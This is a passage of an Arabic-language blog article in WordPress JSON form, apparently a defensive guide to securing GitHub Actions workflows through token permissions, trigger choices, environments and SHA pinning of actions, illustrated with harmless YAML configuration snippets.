{"id":753,"date":"2026-03-24T08:51:51","date_gmt":"2026-03-24T07:51:51","guid":{"rendered":"https:\/\/secure-pipelines.com\/ci-cd-security\/github-actions-security-definitive-guide-2\/"},"modified":"2026-07-08T22:28:17","modified_gmt":"2026-07-08T21:28:17","slug":"github-actions-security-definitive-guide","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-definitive-guide\/","title":{"rendered":"\u0623\u0645\u0627\u0646 GitHub Actions: \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u0634\u0627\u0645\u0644"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u0623\u0635\u0628\u062d\u062a GitHub Actions \u0645\u0646\u0635\u0629 CI\/CD \u0627\u0644\u0623\u0648\u0633\u0639 \u0627\u0646\u062a\u0634\u0627\u0631\u064b\u0627 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645. \u0641\u0645\u0639 \u0642\u062f\u0631\u0629 \u0623\u0643\u062b\u0631 \u0645\u0646 90% \u0645\u0646 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a GitHub \u0639\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0645\u062d\u0644\u064a\u064b\u0627\u060c \u0635\u0627\u0631\u062a \u062a\u0634\u063a\u0651\u0644 \u0643\u0644 \u0634\u064a\u0621 \u0628\u062f\u0621\u064b\u0627 \u0645\u0646 \u0641\u062d\u0648\u0635 linting \u0627\u0644\u0628\u0633\u064a\u0637\u0629 \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0646\u0634\u0631 \u0627\u0644\u0645\u0639\u0642\u062f\u0629 \u0645\u062a\u0639\u062f\u062f\u0629 \u0627\u0644\u0633\u062d\u0627\u0628\u0627\u062a. \u0644\u0643\u0646 \u0647\u0630\u0627 \u0627\u0644\u0627\u0646\u062a\u0634\u0627\u0631 \u0627\u0644\u0648\u0627\u0633\u0639 \u064a\u062c\u0639\u0644\u0647\u0627 \u0633\u0637\u062d \u0627\u0644\u0647\u062c\u0648\u0645 \u0627\u0644\u0623\u0643\u062b\u0631 \u0627\u0633\u062a\u0647\u062f\u0627\u0641\u064b\u0627 \u0641\u064a \u0645\u062c\u0627\u0644 CI\/CD \u0636\u0645\u0646 \u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u0627\u0644\u062d\u062f\u064a\u062b.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0641\u064a \u0639\u0627\u0645\u064e\u064a 2024 \u06482025\u060c \u0627\u062e\u062a\u0631\u0642 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u0648\u0646 \u0625\u062c\u0631\u0627\u0621\u0627\u062a GitHub Actions \u0634\u0627\u0626\u0639\u0629 (\u0645\u062b\u0644 <code>tj-actions\/changed-files<\/code> \u0648<code>reviewdog<\/code>)\u060c \u0648\u062d\u0642\u0646\u0648\u0627 \u0634\u064a\u0641\u0631\u0629 \u062e\u0628\u064a\u062b\u0629 \u0641\u064a \u0622\u0644\u0627\u0641 workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 CI\u060c \u0648\u0633\u0631\u0651\u0628\u0648\u0627 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0645\u0646 \u0645\u0624\u0633\u0633\u0627\u062a \u0643\u0627\u0646\u062a \u062a\u0641\u062a\u0631\u0636 \u0623\u0646 \u062e\u0637\u0648\u0637 \u0623\u0646\u0627\u0628\u064a\u0628\u0647\u0627 \u0622\u0645\u0646\u0629. \u0644\u0645 \u062a\u0639\u062f \u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f \u0639\u0644\u0649 CI\/CD \u0645\u062c\u0631\u062f \u0641\u0631\u0636\u064a\u0629 \u0646\u0638\u0631\u064a\u0629 \u2014 \u0628\u0644 \u0628\u0627\u062a\u062a \u0623\u0645\u0631\u064b\u0627 \u0627\u0639\u062a\u064a\u0627\u062f\u064a\u064b\u0627.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0647\u0630\u0627 \u0627\u0644\u062f\u0644\u064a\u0644 \u0645\u0631\u062c\u0639 \u0634\u0627\u0645\u0644 \u0648\u0639\u0645\u0644\u064a \u0644\u062a\u0623\u0645\u064a\u0646 GitHub Actions \u0645\u0646 \u0627\u0644\u0623\u0633\u0627\u0633. \u0633\u0648\u0627\u0621 \u0643\u0646\u062a \u0645\u0647\u0646\u062f\u0633 DevOps \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0642\u0648\u064a\u0629 workflows \u0627\u0644\u0625\u0646\u062a\u0627\u062c\u064a\u0629\u060c \u0623\u0648 \u0645\u0647\u0646\u062f\u0633 \u0623\u0645\u0646 \u064a\u0636\u0639 \u0633\u064a\u0627\u0633\u0629 CI\/CD\u060c \u0623\u0648 \u0645\u0637\u0648\u0631\u064b\u0627 \u064a\u0631\u064a\u062f \u0627\u0644\u062a\u0648\u0642\u0641 \u0639\u0646 \u0634\u062d\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0639\u0628\u0631 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628\u0647\u060c \u0641\u0647\u0630\u0627 \u0627\u0644\u0645\u0642\u0627\u0644 \u064a\u063a\u0637\u064a \u0643\u0644 \u0645\u0627 \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0645\u0639\u0631\u0641\u062a\u0647 \u2014 \u0645\u0639 \u0631\u0648\u0627\u0628\u0637 \u0625\u0644\u0649 \u0645\u062e\u062a\u0628\u0631\u0627\u062a \u062a\u0641\u0635\u064a\u0644\u064a\u0629 \u0648\u0623\u0648\u0631\u0627\u0642 \u0645\u0631\u062c\u0639\u064a\u0629 \u0641\u064a \u0645\u0648\u0627\u0636\u0639 \u0645\u062a\u0639\u062f\u062f\u0629.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0641\u0647\u0645 \u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0623\u0645\u0627\u0646 \u0641\u064a GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0642\u0628\u0644 \u0623\u0646 \u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u062a\u0623\u0645\u064a\u0646 GitHub Actions\u060c \u0639\u0644\u064a\u0643 \u0641\u0647\u0645 \u0643\u064a\u0641\u064a\u0629 \u0639\u0645\u0644 \u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0623\u0645\u0627\u0646 \u0641\u064a\u0647\u0627 \u0641\u0639\u0644\u064a\u064b\u0627. \u062a\u0639\u0645\u0644 GitHub Actions \u0648\u0641\u0642 \u0646\u0645\u0648\u0630\u062c \u062b\u0642\u0629 \u0645\u0628\u0646\u064a \u0639\u0644\u0649 \u062b\u0644\u0627\u062b \u0631\u0643\u0627\u0626\u0632: <strong>\u0631\u0645\u0648\u0632 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629 (authentication tokens)<\/strong>\u060c \u0648<strong>\u0645\u064f\u0637\u0644\u0650\u0642\u0627\u062a \u0627\u0644\u0640 workflow (triggers)<\/strong>\u060c \u0648<strong>\u0628\u064a\u0626\u0627\u062a \u0627\u0644\u062a\u0646\u0641\u064a\u0630 (execution environments)<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0631\u0645\u0632 GITHUB_TOKEN<\/h3>\n\n<p class=\"wp-block-paragraph\">\u064a\u064f\u0635\u062f\u064e\u0631 \u0644\u0643\u0644 \u062a\u0634\u063a\u064a\u0644 workflow \u062a\u0644\u0642\u0627\u0626\u064a\u064b\u0627 \u0631\u0645\u0632 <code>GITHUB_TOKEN<\/code> \u2014 \u0648\u0647\u0648 token \u0642\u0635\u064a\u0631 \u0627\u0644\u0639\u0645\u0631 \u0645\u062d\u0635\u0648\u0631 \u0628\u0646\u0637\u0627\u0642 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0630\u064a \u064a\u0639\u0645\u0644 \u0641\u064a\u0647 \u0627\u0644\u0640 workflow. \u0647\u0630\u0627 \u0627\u0644\u0640 token \u0647\u0648 \u0622\u0644\u064a\u0629 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0644\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 GitHub API \u0645\u0646 \u062f\u0627\u062e\u0644 \u0627\u0644\u0640 workflows. \u0648\u0628\u0634\u0643\u0644 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u064a\u0645\u062a\u0644\u0643 \u0627\u0644\u0640 token \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0642\u0631\u0627\u0621\u0629\/\u0643\u062a\u0627\u0628\u0629 \u0648\u0627\u0633\u0639\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639\u060c \u0628\u0645\u0627 \u0641\u064a \u0630\u0644\u0643 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u062f\u0641\u0639 \u0627\u0644\u0634\u064a\u0641\u0631\u0629 (push)\u060c \u0648\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a (issues)\u060c \u0648\u062a\u0639\u062f\u064a\u0644 \u0627\u0644\u062d\u0632\u0645 (packages).<\/p>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0641\u0643\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u062c\u0648\u0647\u0631\u064a\u0629 \u0647\u064a: <strong>\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u0640 <code>GITHUB_TOKEN<\/code> \u0648\u0627\u0633\u0639\u0629 \u062c\u062f\u064b\u0627 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0645\u0639\u0638\u0645 \u0627\u0644\u0640 workflows<\/strong>. \u0641\u0627\u0644\u0640 workflow \u0627\u0644\u0630\u064a \u064a\u062d\u062a\u0627\u062c \u0641\u0642\u0637 \u0625\u0644\u0649 \u0646\u0634\u0631 \u062a\u0639\u0644\u064a\u0642 \u0639\u0644\u0649 pull request \u0644\u0627 \u064a\u0646\u0628\u063a\u064a \u0623\u0646 \u064a\u0645\u0644\u0643 \u0635\u0644\u0627\u062d\u064a\u0629 \u062f\u0641\u0639 \u0627\u0644\u0634\u064a\u0641\u0631\u0629. \u0648\u0645\u0639 \u0630\u0644\u0643\u060c \u0641\u0647\u0648 \u064a\u0645\u0644\u0643\u0647\u0627 \u0645\u0627 \u0644\u0645 \u062a\u064f\u0636\u0628\u0637 \u0627\u0644\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0635\u0631\u0627\u062d\u0629\u064b.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0645\u064f\u0637\u0644\u0650\u0642\u0627\u062a \u0627\u0644\u0640 Workflow<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u062f\u0639\u0645 GitHub Actions \u0639\u0634\u0631\u0627\u062a \u0645\u0646 \u0645\u064f\u0637\u0644\u0650\u0642\u0627\u062a \u0627\u0644\u0623\u062d\u062f\u0627\u062b \u2014 <code>push<\/code> \u0648<code>pull_request<\/code> \u0648<code>pull_request_target<\/code> \u0648<code>workflow_dispatch<\/code> \u0648<code>schedule<\/code> \u0648<code>issue_comment<\/code> \u0648\u063a\u064a\u0631\u0647\u0627. \u0648\u0644\u0643\u0644 \u0645\u064f\u0637\u0644\u0650\u0642 \u062a\u0628\u0639\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0645\u062e\u062a\u0644\u0641\u0629:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong><code>pull_request<\/code><\/strong> \u2014 \u064a\u0639\u0645\u0644 \u0641\u064a \u0633\u064a\u0627\u0642 \u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0640 fork. \u064a\u0643\u0648\u0646 <code>GITHUB_TOKEN<\/code> \u0644\u0644\u0642\u0631\u0627\u0621\u0629 \u0641\u0642\u0637. \u0644\u0627 \u062a\u062a\u0648\u0641\u0631 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0645\u0646 \u0627\u0644\u0640 forks. \u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0645\u064f\u0637\u0644\u0650\u0642 \u0627\u0644\u0623\u0643\u062b\u0631 \u0623\u0645\u0627\u0646\u064b\u0627 \u0644\u0644\u0645\u0633\u0627\u0647\u0645\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629.<\/li>\n<li><strong><code>pull_request_target<\/code><\/strong> \u2014 \u064a\u0639\u0645\u0644 \u0641\u064a \u0633\u064a\u0627\u0642 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 <em>\u0627\u0644\u0623\u0633\u0627\u0633\u064a (base)<\/em>. \u064a\u0645\u062a\u0644\u0643 <code>GITHUB_TOKEN<\/code> \u0635\u0644\u0627\u062d\u064a\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629. \u0648\u062a\u062a\u0648\u0641\u0631 \u0627\u0644\u0623\u0633\u0631\u0627\u0631. \u0648\u0647\u0630\u0627 \u062e\u0637\u064a\u0631 \u0644\u0644\u063a\u0627\u064a\u0629 \u0625\u0630\u0627 \u0642\u0645\u062a \u0628\u0633\u062d\u0628 (checkout) \u0634\u064a\u0641\u0631\u0629 \u0631\u0623\u0633 \u0627\u0644\u0640 PR.<\/li>\n<li><strong><code>push<\/code><\/strong> \u2014 \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u0627\u0644\u0640 commit \u0627\u0644\u0645\u062f\u0641\u0648\u0639. \u0648\u0635\u0648\u0644 \u0643\u0627\u0645\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0648\u0631\u0645\u0648\u0632 \u0627\u0644\u0643\u062a\u0627\u0628\u0629. \u0622\u0645\u0646 \u0644\u0644\u0641\u0631\u0648\u0639 \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629 \u0641\u0642\u0637.<\/li>\n<li><strong><code>workflow_dispatch<\/code><\/strong> \u2014 \u0645\u064f\u0637\u0644\u0650\u0642 \u064a\u062f\u0648\u064a. \u0645\u0641\u064a\u062f \u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0646\u0634\u0631 \u0627\u0644\u0645\u064f\u062d\u0643\u064e\u0645\u0629\u060c \u0644\u0643\u0646 \u062a\u062d\u0642\u0651\u0642 \u0645\u0646 \u0645\u0639\u0627\u0645\u0644\u0627\u062a \u0627\u0644\u0625\u062f\u062e\u0627\u0644.<\/li>\n<li><strong><code>schedule<\/code><\/strong> \u2014 \u064a\u0639\u0645\u0644 \u0648\u0641\u0642 \u062c\u062f\u0648\u0644 cron \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a. \u064a\u0645\u0644\u0643 \u0635\u0644\u0627\u062d\u064a\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0648\u0627\u0644\u0623\u0633\u0631\u0627\u0631. \u062a\u0623\u0643\u062f \u0645\u0646 \u0623\u0646 \u0627\u0644\u0640 workflows \u0627\u0644\u0645\u062c\u062f\u0648\u0644\u0629 \u063a\u064a\u0631 \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u0639\u062f\u064a\u0644 \u0645\u0646 \u0642\u0628\u0644 pull requests \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u0628\u064a\u0626\u0627\u062a \u0648\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0646\u0634\u0631<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u0648\u0641\u0651\u0631 \u0628\u064a\u0626\u0627\u062a GitHub (Environments) \u062d\u062f\u064b\u0627 \u0623\u0645\u0646\u064a\u064b\u0627 \u0625\u0636\u0627\u0641\u064a\u064b\u0627. \u0625\u0630 \u064a\u0645\u0643\u0646\u0643 \u0625\u0631\u0641\u0627\u0642 \u0642\u0648\u0627\u0639\u062f \u062d\u0645\u0627\u064a\u0629 \u0628\u0627\u0644\u0628\u064a\u0626\u0627\u062a \u2014 \u0645\u0631\u0627\u062c\u0650\u0639\u0648\u0646 \u0645\u0637\u0644\u0648\u0628\u0648\u0646\u060c \u0648\u0645\u0624\u0642\u062a\u0627\u062a \u0627\u0646\u062a\u0638\u0627\u0631\u060c \u0648\u0642\u064a\u0648\u062f \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u0648\u0639\u060c \u0648\u0633\u064a\u0627\u0633\u0627\u062a \u0641\u0631\u0648\u0639 \u0627\u0644\u0646\u0634\u0631. \u0648\u064a\u0645\u0643\u0646 \u062d\u0635\u0631 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u064a \u0628\u064a\u0626\u0627\u062a \u0645\u062d\u062f\u062f\u0629\u060c \u0645\u0645\u0627 \u064a\u0636\u0645\u0646 \u0623\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0625\u0646\u062a\u0627\u062c\u064a\u0629 \u0644\u0627 \u062a\u062a\u0648\u0641\u0631 \u0625\u0644\u0627 \u0644\u0644\u0640 workflows \u0627\u0644\u062a\u064a \u062a\u0646\u0634\u0631 \u0625\u0644\u0649 \u0627\u0644\u0625\u0646\u062a\u0627\u062c.<\/p>\n\n<p class=\"wp-block-paragraph\">\u062a\u064f\u0639\u062f \u0627\u0644\u0628\u064a\u0626\u0627\u062a \u0645\u0646 \u0623\u0643\u062b\u0631 \u0645\u064a\u0632\u0627\u062a \u0627\u0644\u0623\u0645\u0627\u0646 \u0627\u0633\u062a\u062e\u0641\u0627\u0641\u064b\u0627 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645\u064b\u0627 \u0646\u0627\u0642\u0635\u064b\u0627 \u0641\u064a GitHub Actions. \u0625\u0646 \u0644\u0645 \u062a\u0643\u0646 \u062a\u0633\u062a\u062e\u062f\u0645\u0647\u0627\u060c \u0641\u0623\u0646\u062a \u062a\u0641\u0648\u0651\u062a \u0637\u0628\u0642\u0629 \u062a\u062d\u0643\u0651\u0645 \u0628\u0627\u0644\u063a\u0629 \u0627\u0644\u0623\u0647\u0645\u064a\u0629.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0640 Workflow: \u0645\u0628\u062f\u0623 \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632 \u0627\u0644\u0623\u062f\u0646\u0649<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0623\u0643\u062b\u0631 \u062a\u062d\u0633\u064a\u0646 \u0623\u0645\u0646\u064a \u062a\u0623\u062b\u064a\u0631\u064b\u0627 \u064a\u0645\u0643\u0646\u0643 \u0625\u062c\u0631\u0627\u0624\u0647 \u0639\u0644\u0649 \u0623\u064a workflow \u0641\u064a GitHub Actions \u0647\u0648 <strong>\u062a\u0642\u064a\u064a\u062f \u0635\u0644\u0627\u062d\u064a\u0627\u062a <code>GITHUB_TOKEN<\/code><\/strong>. \u062a\u062a\u064a\u062d \u0644\u0643 GitHub \u0636\u0628\u0637 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u064a\u064a\u0646: \u0627\u0644\u0640 workflow \u0628\u0623\u0643\u0645\u0644\u0647\u060c \u0648\u0627\u0644\u0648\u0638\u0627\u0626\u0641 (jobs) \u0627\u0644\u0641\u0631\u062f\u064a\u0629.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0636\u0628\u0637 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0641\u0642\u0637<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u0624\u0633\u0633\u0629 \u0623\u0648 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639\u060c \u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 <strong>Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> \u0648\u0627\u062e\u062a\u0631 <strong>&#8220;Read repository contents and packages permissions&#8221;<\/strong>. \u064a\u0636\u0645\u0646 \u0630\u0644\u0643 \u0623\u0646 \u064a\u0628\u062f\u0623 \u0643\u0644 workflow \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u062f\u0646\u064a\u0627\u060c \u0648\u0623\u0646 \u064a\u0637\u0644\u0628 \u0635\u0631\u0627\u062d\u0629\u064b \u0623\u064a \u0634\u064a\u0621 \u064a\u062a\u062c\u0627\u0648\u0632 \u0635\u0644\u0627\u062d\u064a\u0629 \u0627\u0644\u0642\u0631\u0627\u0621\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0648\u0641\u064a \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643\u060c \u0635\u0631\u0651\u062d \u062f\u0627\u0626\u0645\u064b\u0627 \u0628\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0635\u0631\u0627\u062d\u0629\u064b \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0623\u0639\u0644\u0649:<\/p>\n\n<pre><code>permissions:\n  contents: read\n  pull-requests: write  # Only if needed\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0648\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0644\u0648\u0638\u0627\u0626\u0641 \u0627\u0644\u062a\u064a \u062a\u062a\u0637\u0644\u0628 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0635\u0631\u0651\u062d \u0628\u0647\u0627 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0648\u0638\u064a\u0641\u0629. \u0641\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0648\u0638\u064a\u0641\u0629 \u062a\u062a\u062c\u0627\u0648\u0632 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0640 workflow \u0644\u062a\u0644\u0643 \u0627\u0644\u0648\u0638\u064a\u0641\u0629 \u062a\u062d\u062f\u064a\u062f\u064b\u0627\u060c \u0645\u0645\u0627 \u064a\u0648\u0641\u0651\u0631 \u062a\u062d\u0643\u0651\u0645\u064b\u0627 \u0623\u062f\u0642:<\/p>\n\n<pre><code>jobs:\n  build:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm build\n\n  deploy:\n    permissions:\n      contents: read\n      id-token: write  # For OIDC\n    runs-on: ubuntu-latest\n    steps:\n      - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u0627\u0637\u0644\u0627\u0639 \u0639\u0644\u0649 \u0645\u0631\u062c\u0639 \u0643\u0627\u0645\u0644 \u062d\u0648\u0644 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629 \u0644\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0634\u0627\u0626\u0639\u0629\u060c \u0631\u0627\u062c\u0639 <a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-cheat-sheet\/\">\u0648\u0631\u0642\u0629 GitHub Actions \u0627\u0644\u0645\u0631\u062c\u0639\u064a\u0629 \u0644\u0644\u0623\u0645\u0627\u0646<\/a>\u060c \u0627\u0644\u062a\u064a \u062a\u0631\u0628\u0637 \u0643\u0644 \u0645\u0647\u0645\u0629 \u0634\u0627\u0626\u0639\u0629 \u0628\u0627\u0644\u062d\u062f \u0627\u0644\u0623\u062f\u0646\u0649 \u0645\u0646 \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629 \u0644\u0647\u0627.<\/p>\n\n<h2 class=\"wp-block-heading\">\u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a (Action Pinning): \u0627\u0644\u062f\u0641\u0627\u0639 \u0636\u062f \u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0643\u0644 \u062a\u0648\u062c\u064a\u0647 <code>uses:<\/code> \u0641\u064a \u0627\u0644\u0640 workflow \u0644\u062f\u064a\u0643 \u0647\u0648 \u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0629 (dependency) \u2014 \u0648\u0645\u062b\u0644 \u0623\u064a \u0627\u0639\u062a\u0645\u0627\u062f\u064a\u0629\u060c \u064a\u0645\u0643\u0646 \u0627\u062e\u062a\u0631\u0627\u0642\u0647. \u0644\u0642\u062f \u0623\u0638\u0647\u0631\u062a \u062d\u0627\u062f\u062b\u0629 <code>tj-actions\/changed-files<\/code> \u0641\u064a \u0645\u0637\u0644\u0639 \u0639\u0627\u0645 2025 \u0628\u0627\u0644\u0636\u0628\u0637 \u0645\u0627 \u064a\u062d\u062f\u062b \u0639\u0646\u062f \u0627\u062e\u062a\u0637\u0627\u0641 \u0625\u062c\u0631\u0627\u0621 \u0634\u0627\u0626\u0639: \u0639\u062f\u0651\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0625\u062c\u0631\u0627\u0621 \u0644\u064a\u0633\u0631\u0651\u0628 <code>GITHUB_TOKEN<\/code> \u0648\u0623\u0633\u0631\u0627\u0631\u064b\u0627 \u0623\u062e\u0631\u0649 \u0645\u0646 \u0643\u0644 \u0645\u0633\u062a\u0648\u062f\u0639 \u0623\u0634\u0627\u0631 \u0625\u0644\u064a\u0647 \u0639\u0628\u0631 tag.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0644\u0645\u0627\u0630\u0627 \u0644\u0627 \u062a\u0643\u0641\u064a \u0627\u0644\u0648\u0633\u0648\u0645 (Tags) \u0648\u0627\u0644\u0641\u0631\u0648\u0639 (Branches)<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0639\u0646\u062f\u0645\u0627 \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0625\u062c\u0631\u0627\u0621 \u0645\u062b\u0644 <code>actions\/checkout@v4<\/code>\u060c \u0641\u0623\u0646\u062a \u062a\u062b\u0642 \u0628\u0623\u0646 \u0645\u0634\u0631\u0641 \u0627\u0644\u0625\u062c\u0631\u0627\u0621 \u2014 \u0648\u0623\u064a \u0634\u062e\u0635 \u064a\u062e\u062a\u0631\u0642 \u062d\u0633\u0627\u0628\u0647 \u2014 \u0644\u0646 \u064a\u0646\u0642\u0644 \u0630\u0644\u0643 \u0627\u0644\u0640 tag \u0623\u0648 \u064a\u0639\u062f\u0651\u0644\u0647. \u0627\u0644\u0648\u0633\u0648\u0645 \u0641\u064a Git \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u063a\u064a\u064a\u0631. \u0641\u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0630\u064a \u064a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 \u064a\u0633\u062a\u0637\u064a\u0639 \u062a\u0648\u062c\u064a\u0647 <code>v4<\/code> \u0625\u0644\u0649 \u0623\u064a commit \u064a\u062e\u062a\u0627\u0631\u0647.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0639\u0628\u0631 SHA<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u062d\u0644 \u0647\u0648 \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0640 commit SHA \u0627\u0644\u0643\u0627\u0645\u0644 \u0627\u0644\u062e\u0627\u0635 \u0628\u0647\u0627:<\/p>\n\n<pre><code># Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0627\u0644\u0645\u062b\u0628\u0651\u062a\u0629 \u0639\u0628\u0631 SHA \u063a\u064a\u0631 \u0642\u0627\u0628\u0644\u0629 